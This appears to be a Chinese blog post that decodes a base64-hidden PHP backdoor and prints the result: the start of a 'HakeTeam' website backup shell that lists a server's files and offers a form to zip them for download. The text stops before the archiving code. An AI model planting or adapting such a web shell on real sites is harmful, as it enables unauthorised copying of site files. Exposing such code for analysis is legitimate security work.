PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

2019-04-08 21:26:16于海丽


解密后为:

<?php
echo '<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>HakeTeam Website Backup V1.0 Beta - ';echo getenv('HTTP_HOST');;echo '</title>
<style type="text/css">
body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,textarea,p,blockquote,th,td{
margin:0;padding:0;
}
body {
background:#EBEBED;
color:#333;
font-family:"Arial",Microsoft YaHei,Verdana,Helvetica,Arial,Sans-Serif;
font-size:14px;
}
.textfield,textarea {
border:1px solid green;
font-size:14px;
padding:2px;
}
.textfield:focus,textarea:focus {
border-color:#F1CA7E;
}
.button {
font-size:14px;
text-decoration:none;
margin-top:5px;
background:#F5F5F5;
border:1px solid green;
color:#000;
padding:2px 5px;
}
.button:hover {
text-decoration:none;
background:#EEE;
border:1px solid #F1CA7E;
color:#000;
}
pre {
border:1px #ccc solid;
line-height:18px;
overflow:auto;
word-wrap:break-word;
max-height:220px;
margin:4px;
padding:4px 8px;
}
</style>
</head>
<form action="" method="post" name="postform">
<div align="left" class="searchbox">
';
ini_set('memory_limit','2048M');
echo "<pre> ----------------------------------------------
[<font color=#00BB00>*</font>]HakeTeam PHP Website Backup Shell V1.0 Beta
[<font color=#00BB00>*</font>]Forum:http://www.hake.cc
[<font color=#00BB00>*</font>]isosky's Blog:www.nbst.org
----------------------------------------------
File List:</pre>";
$fdir = opendir('./');
while($file=readdir($fdir))
{
if($file=='.'||$file=='..')
continue;
echo "<input name='dfile[]' type='checkbox' value='$file' ".($file==basename(__FILE__)?'':'checked').'> ';
if(is_file($file))
{
echo "<font face="wingdings" size="5">2</font>  $file<br>";
}
else
{
echo "<font face="wingdings" size="5">0</font> $file<br>";
}
}
;echo '
FileType:
<input name="filetype" type="text" id="filetype" class="textfield" value="" size="50">
(Blank for all,use "|" to separate,e.g.:php|html|jpg) <br />
Backup Directory:
<input name="todir" type="text" id="todir" class="textfield" value="iso_backup" size="41">
(Blank for this directory,use relative url,and you must be able to write file)
<br>
Backup Name:
<input name="zipname" type="text" id="zipname" class="textfield" value="iso.zip" size="44">
(.zip type file)
<br>
<br>
<input name="backup" type="hidden" id="backup" value="dozip">
<input type="submit" name="Submit" class="button" value="let's go!">
<div align="center">
<a href="http://nbst.org"><img src="http://nbst.org/logo.png" border="0"></a></div>
相关文章 大家在看